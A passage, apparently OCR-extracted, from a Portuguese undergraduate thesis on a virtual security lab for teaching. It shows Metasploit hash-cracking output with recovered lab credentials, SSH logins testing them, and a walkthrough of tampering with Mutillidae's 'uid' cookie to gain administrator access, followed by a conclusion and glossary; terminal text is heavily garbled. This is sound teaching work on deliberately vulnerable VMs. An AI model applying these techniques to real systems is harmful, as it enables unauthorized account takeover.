msf auxiliary( ) > run

[*] Wordlist file written out to /tmp/jtrtmp20180601-1684-1q9hsz9
[*] Hashes Written out to /tmp/hashes tmp20180601-1684-zo8bju
[*] Cracking lm hashes in normal wordlist mode...
Loaded 1 password hash (LM [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (Fri Jun 1 12:26:59 2018) 0g/s 1543Kp/s 1543Kc/s 1543KC/s MIGR..VAGRANT
Session completed
[*] Cracking lm hashes in single mode...
[*] Loaded 1 password hash (LM [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (Fri Jun 1 12:27:02 2018) 0g/s 6359Kp/s 6359Kc/s 6359KC/s WSW1900..E1900
Session completed
[*] Cracking lm hashes in incremental mode (All4)...
fopen: /usr/share/john/all.chr: No such file or directory
[*] Loaded 1 password hash (LM [DES 128/128 AVX-16])
[*] Cracking lm hashes in incremental mode (Digits)...
[*] Loaded 1 password hash (LM [DES 128/128 AVX-16])
Warning: MaxLen = 8 is too large for the current hash type, reduced to 7
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (Fri Jun 1 12:27:02 2018) 0g/s 35842Kp/s 35842Kc/s 35842KC/s 0769790..0769743
Session completed
[*] Cracked Passwords this run:
[*] Cracking nt hashes in normal wordlist mode...
[*] Loaded 17 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
[*] Remaining 15 password hashes with no different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (Fri Jun 1 12:27:03 2018) 0g/s 1620Kp/s 1620Kc/s 24304KC/s s..vagrant
Session completed
[*] Cracking nt hashes in single mode...
[*] Loaded 17 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
[*] Remaining 15 password hashes with no different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:07 DONE (Fri Jun 1 12:27:10 2018) 0g/s 9770Kp/s 9770Kc/s 146555KC/s clairl900..vagrant1900
Session completed
[*] Cracking nt hashes in incremental mode (Digits)...
[*] Loaded 17 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
[*] Remaining 15 password hashes with no different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (Fri Jun 1 12:27:14 2018) 0g/s 30358Kp/s 30358Kc/s 455373KC/s 73673953..73673952
Session completed
[*] _Cracked Passwords this run:
[+] Administrator:vagrant:1:1
[+] vagrant:vagrant:2:2
[+] Administrator:vagrant:1:1
[+] vagrant:vagrant:2:2
[+] c three pio:prot0cel:8:8
[FT AUXITIary modute execution completed
msf auxiliary( Jis>

Figura 46: Resultado da execucgéo do exploit auxiliar.
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root@kali: ~ @ 00

File Edit View Search Terminal Help
:~# s55h Administrator@l9z.l168.56.101
Administrator@l92.168.56.1081's p d:
Last login: Fri Jun 1 13:46:26 2018 from 192.168.56.103
-sh-4.3% whoami
3r2vadministrator

(unnwctlun to 192.168.56.101 closed.
:~# ssh vagrant@l92.168.56.101
vagrant@l92.168.56.181's password:
-sh-4.3% whoami
vagrant- "DOE-I"\V agrant

Connection to 192.168.56.101 closed.
:~# 5 pio@192.168.56.101
':.EilEl1 168.56.101's password:
in: Fri Jun 1 13:49:29 2818 from 192.168.56.103
t Windows [Version 6.1.7601]
2009 Microsoft Corporation. All rights reserved.

pio=
e_pio=whoami
va grant 2008 \c thrn:n: pJ_u

C:\Program Files\OpenSSHihome\c three pio=exit
Connection to 192.168.56.101 closed.
i ~#

Figura 47: resultado teste de validade das senhas quebradas.

4.7 Quebra de sessdo

O proximo exemplo apresenta um caso de falha no gerenciamento de sessdo onde
foi usado o navegador Firefox®, que é instalado por padrdo na VM atacante, e o sistema
Mutillidae, hospedado na VM vitima Metasploitable 2©.

Inicialmente, foi habilitada a barra de desenvolvedor web do navegador. Esta acao
pode ser feita pressionando simultaneamente as teclas “ctr+shift+i” ou pelo menu do
navegador, visto na figura 48. A opcdo “Storage” (figura 49) é entdo habilitada para
visualizar os cookies da pagina web (figura 50).
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Figura 48: Como abrir a barra de desenvolvedor web.
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Figura 49: Habilitar opcdo "Storage™ na barra de desenvolvedor do Firefox®.
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Figura 50: Visualizar cookies do site.

Para realizar o ataque que explora uma falha no gerenciamento de sessdo, é
necessario cadastrar um novo usuario no sistema e fazer o login com esse novo usuario.
Nesse exemplo, foi cadastrado um novo usuario com o nome “bob” e senha “bob” (figura
51). Ap6s o cadastro, foi efetuado o login com o novo usuario. Pode ser verificado que foi
criado um novo cookie “uid”, com o valor 17, para identificar o novo usuario (“bob”), visto

na figura 52.
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Figura 51: Cadastrar novo usuario no sistema Mutillidae.
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Figura 52: Visualizacdo do cookie do novo usuario cadastrado.

Com o novo usuario autenticado e o sistema de gerenciamento de sesséo iniciado,
pode-se verificar a possibilidade do ataque. Para isso, modifica-se o cookie “uid” para outro
valor (neste teste foi usado o valor sete). Ap6s a mudanca do cookie na barra de
desenvolvedor web, o site foi recarregado pressionando simultaneamente as teclas
“control+r”. Verifica-se, entdo, que o usuario autenticado mudou: era “bob” e agora é “Jim”
(figura 53). Testou-se entdo o valor “1”, e foi observado que o usuario mudou para
“administrador do sistema” com todos os seus privilégios (figura 54). Isto significa que foi

obtido acesso administrativo sem se autenticar como administrador ou saber a senha do

mesmo.
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Figura 54: Encontrou-se o cookie relativo ao usuario administrador do sistema.
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5 Conclusao

Este trabalho apresentou um estudo sobre o uso de laboratério virtual em aulas
praticas de seguranca no curso de Bacharelado em Sistemas de Informacéo. Inicialmente
foram verificadas algumas propostas da literatura para a montagem desse ambiente. Foi
escolhido o ambiente composto por uma méaquina virtual (VM) para ataque e duas
maquinas virtuais (VMs) vulneraveis para vitimas, uma Windows® e outra Linux™. Para
garantir a seguranca da rede dos laboratorios de informatica, foi definido que as maquinas
virtuais s poderiam se comunicar ente si, ou seja, elas ndo teriam acesso ao mundo

externo.

Para testar o ambiente montado e verificar as possibilidades do seu uso em sala de
aula, foram escolhidos trés tipos de ataques entre os 10 maiores riscos para aplicacdes web
reportados pela OWASP em 2017 [35]: Sql Injection, Cross-Site Scripting (XSS) e Broken
Authentication. Os testes mostraram que 0 uso do ambiente ndo compromete a rede dos
laboratdrios de informatica, pois ndo permite que ataques feitos entre as maquinas virtuais
extrapolem para o mundo real. Além disso, foi possivel verificar que esse ambiente € uma
excelente ferramenta de ensino/aprendizagem para a area de seguranca de dados, pois

permite que o aluno entenda como os ataques sdo feitos e o que pode fazer para evita-los.

Finalmente, apds a criacdo do laboratério e a aplicacdo dos exemplos contidos neste
trabalho, conclui-se que o experimento realizado corrobora a utilidade da proposta em

questdo para ser usada como apoio em aulas de seguranca de computadores.
S&o sugestdes para trabalhos futuros:

o Testar ambientes mais robustos para o laboratorio virtual,

« Focar naseguranca defensiva, ja que o foco desse trabalho foi a seguranca ofensiva;

o Testar outros ataques definidos na lista da OWASP 2017;

o Testar outras ferramentas de seguranga como SET (Social Engineering Toolkit) que
é voltada para engenharia social ou ferramentas de ataques a redes sem fio, como

Aircrack-ng, Airbase-ng, Aireplay-ng, Airmon-ng, Airodump-ng e Airolib-ng.
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Anexo

Este anexo apresenta siglas e termos, em ordem alfabética, que sdo usados neste trabalho.

o Banner é um texto com informagdes de sistema, como versdo do sistema

operacional, obtido por uma requisi¢do a um host [56].

o Bit é a unidade bésica de informacdo usada em computacao e comunicacao
digital [57].

o Bitcoin é uma rede de pagamento inovadora, um novo tipo de dinheiro [58].

. Black hat é, tipicamente, um individuo que se envereda no crime cibernético

para ganhos financeiros, espionagem cibernética ou outros motivos maliciosos [59].
o Blog é diério ou site informativo que mostra informacdo em ordem

cronoldgica reversa, mostrando as postagens mais recentes primeiro [60].

o Browser € um software usado para acessar a internet [61].
o Byte é a unidade de informac&o digital equivalente a oito bits [62].
o Consulta SQL é um cédigo em SQL usado para obter registros de uma tabela

de um banco de dados [63].

o Cookie é um arquivo de internet que armazena temporariamente
informacdes de navegacao do usuario em seu computador [64].

o CPU (Central Processing Unit) é a unidade central de processamento,
corresponde ao cérebro do computador, onde é feita a maior parte dos céalculos [65].

o DDoS (Distributed Denial-of-Service) é um ataque que ocorre quando
multiplos sistemas inundam a largura de banda ou recursos computacionais de um sistema
alvo, geralmente um ou mais Servidores Web [66].

o DOM (Document Object Model) é uma plataforma que permite programas
e scripts acessarem e atualizarem dinamicamente conteudo de paginas HTML [67].

o DRIVER é um programa de computador que opera ou controla um tipo de
dispositivo que esta conectado ao computador [68].

o Exploits sdo programas ou cédigos que se aproveitam de falhas de seguranca
para prover acesso nao autorizado [69].

o Firewall é um software ou hardware que limita a conexdo entre redes a

partir de um conjunto de regras [70].
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o Funcao Hash é uma funcdo matematica que transforma qualquer bloco de

dados em uma serie de caracteres de comprimento fixo [71].

o Gray hat € um meio termo entre White hat e o Black hat. Este hacker, apesar
de ndo ter a intencdo de invadir sistemas para roubar, pode se utilizar de métodos ilegais
para descobrir falhas, expor vulnerabilidades para o publico ou para vender exploits para
governos e agéncias de inteligéncia [72].

o Hackers séo individuos com habilidades para resolver problemas técnicos
relativos & computadores, redes ou outros temas. Na comunidade de seguranca, eles séo
divididos por cores de chapéus: branco (White hat), cinza (Gray hat) e preto (Black hat)
[73].

o Hacktivismo € a pratica hacker para manifestacéo social ou politica [74].

o Hardware se refere as partes fisicas de um computador e aos dispositivos
relacionados [75].

o Hash é a saida de caracteres de comprimento fixo de uma funcéo Hash [76].

o HD (Hard Drive) é uma memoria ndo volatil que armazena e recupera dados
em um computador [77].

o Host € um computador acessivel por uma rede de computadores [78].

o HTTP (Hypertext Transfer Protocol) € um conjunto de padrfes que permite
usudrios da internet trocarem informacdes de sites web [79].
o Hypervisor é uma camada de software entre o hardware e 0 sistema

operacional [80].

o loT (Internet of Things) é uma rede de objetos conectados na internet

capazes de coletar e trocar dados [81].

o IP (Internet Protocol) é o método ou protocolo pelo qual dados séo enviados
de um computador para outro na internet [82].

o IP NAT significa um endereco IP de uma rede NAT (Network Address
Translation). NAT é o processo onde um dispositivo de rede atribui um endereco IP publico
para um computador em uma rede privada [83].

o ISO (International Organization for Standardization) é um formato de
arquivo de um disco optico (CD ou DVD, por exemplo) [84].

o Log ¢é a documentacdo automatica com data de eventos relevantes para um

sistema [85].
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. Metasploitable 2© e uma VM Ubuntu Linux intencionalmente vulneravel
projetada para testes de seguranca [86].
o Metasploitable 3© é uma VM (Virtual Machine) com o sistema operacional

Windows® construida a partir do zero com varias vulnerabilidades de seguranca [87].

o Método POST € uma forma de enviar informac@es para o servidor web por
meio de um formulario [88].

o Nikto é uma ferramenta open source de scannig de servidor web [89].

o Nmap (Network Mapper) é uma ferramenta gratuita e Open Source para
scanning de rede e auditoria de seguranca de computadores [90].

o Open source refere-se a algo que as pessoas podem modificar e compartilhar
porque seu projeto e codigo tém acesso publico [91].

o OWASP (Open Web Application Security Project) € uma organizacdo sem
fins lucrativos focada em melhorar a seguranca de software [92].

. OWASPBWA ¢ uma VM com o sistema operacional Linux™

propositalmente vulneravel construida pelo projeto OWASP [93].
o Payload € um pedaco de codigo a ser executado a partir de um exploit [94].

o Plugins sdo softwares instalados em programas de computador que
melhoram/adicionam recursos [95].

o Pop-up € uma janela que abre no navegador da internet quando se acessa
uma pagina na web [96].

o Proxy é um sistema ou computador dedicado que fica no meio de uma
conexao de um cliente e um servidor [97].

o PTES (Penetration Testing Execution Standard) € um novo padréo
projetado para prover uma linguagem e escopo em comum para companhias de negdcio e
seguranca na execucao de testes de penetracdo [98].

o RAM (Random Access Memory) é um hardware que permite que
informacdes sejam armazenadas e recuperadas em um computador [99].

o Ransomware é um tipo de software nocivo que restringe 0 acesso ao sistema
infectado, normalmente criptografando-o, e cobra um resgate para restabelecer o acesso
[100].

o Roteador é um dispositivo que encaminha pacotes de dados entre redes de

computadores [101].
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o Samba é um software livre que prové compartilhamento de arquivos e
impressoras entre sistemas operacionais Windows® e Linux™ [102].

o Scanning é um processo de identificacdo de vulnerabilidades em potencial
sobre um determinado sistema ou dispositivo de rede [103].

o Scripts sdo programas escritos para automatizar a execucdo de tarefas [104].

o Seguranca de computadores € a protecdo de sistemas e dos dados que 0s
mesmos armazenam ou acessam [105].

o Servidor Web é um software que entrega paginas de sites para o navegador
web do usuario. Um computador dedicado a responder requisicdes de clientes também pode
ser chamado de Servidor Web [106].

o Sistema Mutillidae é uma aplicacdo web gratuita e open source,

deliberadamente vulneravel, servindo de alvo para entusiastas de seguranga web [107].

o Site é o conteldo acessado através de um navegador web digitando-se uma
URL [108].
o SNAPSHOT ¢é uma funcdo do VirtualBox que permite salvar e,

posteriormente, voltar exatamente ao mesmo estado da VM [109].

o Software € uma cole¢do de instrucbes de computador que permite que o
usuério interaja com o computador, seu hardware, ou realize tarefas [110].

o SQL dump caracteriza-se pela obtencdo de uma grande quantidade de dados,
por meio de consulta SQL, e sua posterior gravagdo em um arquivo [111].

o SSH é um software que permite transferéncia de arquivos e administracdo
de sistema de forma segura [112].

. Terabyte € a unidade de medida que equivale a 1.000.000.000.000 ou 10*2
bytes [113].

o Terminal é uma interface na qual pode-se digitar e executar comando
baseado em texto [114].

o Teste de Penetragdo ¢ uma maneira de simular os métodos que um hacker
“black hat” pode se utilizar para infiltrar por ferramentas de seguranca e obter acesso aos
sistemas de uma organizacéo [19].

o Ubuntu é um sistema operacional open source [115].

o URL (Uniform Resource Locator) é usado para especificar enderegos na
internet [116].

o VirtualBox é um software open source de virtualizagdo [117].
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o VM (Virtual Machine) é um arquivo de computador, tipicamente chamado
de imagem, que se comporta como um computador fisico, ou seja, criar um computador
dentro de um computador. A VM roda em uma janela, como qualquer outro software,
proporcionando ao usuario a mesma experiéncia que teria usando um computador fisico
real [118].

o VMDK (Virtual Machine Disk) é um formato de HD virtual para VM [119].

o White hat, tambeém conhecido como hacker ético, utiliza seus
conhecimentos e habilidades para detectar falhas de seguranca e tornar o sistema mais
seguro [120].

o XML (eXtensible Markup Language) € uma ferramenta independente de

software e hardware utilizada para armazenamento e transporte de dados [121].
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